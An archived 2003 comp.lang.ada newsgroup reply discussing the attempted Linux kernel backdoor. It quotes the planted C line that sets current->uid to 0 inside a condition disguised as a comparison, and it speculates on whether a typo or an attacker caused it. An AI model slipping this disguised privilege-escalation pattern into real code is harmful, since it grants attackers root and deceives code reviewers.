comp.lang.ada
 help / color / mirror / Atom feed
From: dmytrylavrov@fsmail.net (Dmytry Lavrov)
Subject: Re: C's trikery semantic opens up backdoor in new Linux kernel
Date: 16 Nov 2003 03:29:44 -0800
Date: 2003-11-16T03:29:44-08:00	[thread overview]
Message-ID: <49cbf610.0311160329.3e319ba4@posting.google.com> (raw)
In-Reply-To: 3FB5B35E.7060900@nowhere.com

Adrian Hoe <adrianhoe@nowhere.com> wrote in message news:<3FB5B35E.7060900@nowhere.com>...
> On second thought, this is a great example for my Ada Seminar. I shall 
> include it into the slides.

On my second:
i have readed somewhere on that web links,that it's "surely very smart
hacker":
"he also added extra () to avoid warnings..." ;-)

I can write in pascal/ada:

if (options=__WCLONE or __WALL)and(current.uid=0) then something

,that () are really needed because "and" have bigger priority than "="
so it's why i said about pascal background:it's very possible to be
typo,everyone with pascal background working in C many times maked
such mistakes,avoiding all warnings ;-)!
And i think after spending days/weeks, foget that nightmare is quite
hard.(anyway,somehow i newer maked that bug yet,only because i know
that mistake)

Or it's hacker with pascal background ,or he know someone with pascal
background and that mistakes,in any case somehow he know that common
pascal-->c typo and was able to insert it. Or it's really typo that
someone wasn't removed,just because it's so cool,saying for
himself:it's test if they check code...it's only test... ;-) .
(Raskolnikov,blin ;-)

They also truing to put that it's someone hacked CVS and added it into
code.
IMO quite inprobable.;-)if so,that hacker was able to put it into old
code,avoiding problems with reviews,and it's also possible to hack all
main CVS'es avoiding problems with updates, if you can hack one
CVS,you can hack all.

I really worry now,almost all commercial code probably contain such
cool things...including safety critical c code in airplanes...nuclair
plants...almost everyone,not only with pascal background, can make
that typo,find it,and then not remove because it's too cool...

....just for tesst,jussst for tessst,my beauty...ssss....
...and then it's too late to show it...

....good idea: that mistake as ring in "Lord of the Ring"....


Regards,

Dmytry Lavrov.
p.s.
if it's hacker,probably there's should be other bugs left to use that
trojan, some bugs(buffer overflow) allows remote user to execute his
code,but non-root.Else that trojan don't make impact on,for
example,me. It's only bad for website hosting servers,if you have
account,and for other multiuser systems.Why he need to hack multi-user
systems...don't know why he may need that.

So if it's hacker,at least 1/2 or more probablity that one other
trojan left unnoticed( not in kernel,in netscape or other internet
prog...like Morriss'days bug ).

More nice typos with *....

> 
> Dmytry Lavrov wrote:
> 
> >>>>+ if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
> >>>>+ retval = -EINVAL;
> >>>>
> > 
> > Hahaha......(falling ,and still laughing!)
> > 
> > So cool!
> > 
> > anyway, 0==something looks like complete idiotism for me,perhaps for
> > that guy too ;-))).Someone with Pascal background,or hacker or it's
> > simply typo,or all together ;-))))
> >



  reply	other threads:[~2003-11-16 11:29 UTC|newest]

Thread overview: 44+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2003-11-12  3:17 C's trikery semantic opens up backdoor in new Linux kernel Adrian Hoe
2003-11-12  4:26 ` Stephane Richard
2003-11-12  5:13   ` J Cusick
2003-11-12  7:18     ` Vinzent 'Gadget' Hoefler
2003-11-12  7:50       ` Duncan Sands
2003-11-12 12:08         ` Vinzent 'Gadget' Hoefler
2003-11-12 13:38           ` Duncan Sands
2003-11-12 14:09             ` Vinzent 'Gadget' Hoefler
2003-11-13 21:04               ` Craig Carey
2003-11-14  6:45                 ` Freejack
2003-11-14  8:33                 ` Erlo Haugen
2003-11-14  9:44                   ` Vinzent 'Gadget' Hoefler
2003-11-14 10:16                     ` Dmitry A. Kazakov
2003-11-25 10:06                       ` Craig Carey
2003-11-25 11:20                         ` Dmitry A. Kazakov
2003-11-14 15:31                 ` Robert I. Eachus
2003-11-14 13:12               ` Georg Bauhaus
2003-11-14 13:31                 ` Duncan Sands
2003-11-14 14:56                 ` Vinzent 'Gadget' Hoefler
2003-11-14 15:08                   ` Georg Bauhaus
2003-11-14 15:38                     ` Duncan Sands
2003-11-14 17:57                       ` Georg Bauhaus
2003-11-14 15:47               ` Robert I. Eachus
2003-11-14 16:38                 ` Vinzent 'Gadget' Hoefler
2003-11-19  4:13             ` Dave Thompson
2003-11-21 15:34               ` Martin Krischik
2003-11-23  2:20                 ` Hyman Rosen
2003-11-27  4:22                 ` Dave Thompson
2003-11-28 14:01                   ` Hyman Rosen
2003-11-12 17:37       ` tmoran
2003-11-12 18:03       ` Warren W. Gay VE3WWG
2003-11-12  8:51     ` Adrian Hoe
2003-11-12 12:32       ` Preben Randhol
2003-11-13  5:50         ` Chad R. Meiners
2003-11-12 22:59       ` Wes Groleau
2003-11-14  3:31         ` Adrian Hoe
2003-11-14 11:00           ` Dmytry Lavrov
2003-11-15  5:00             ` Adrian Hoe
2003-11-15  5:02             ` Adrian Hoe
2003-11-16 11:29               ` Dmytry Lavrov [this message]
2003-11-17 17:07                 ` Warren W. Gay VE3WWG
2003-11-16 11:35             ` Dmytry Lavrov
2003-11-15 19:30           ` Wes Groleau
2003-11-12  8:52   ` Adrian Hoe
replies disabled

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox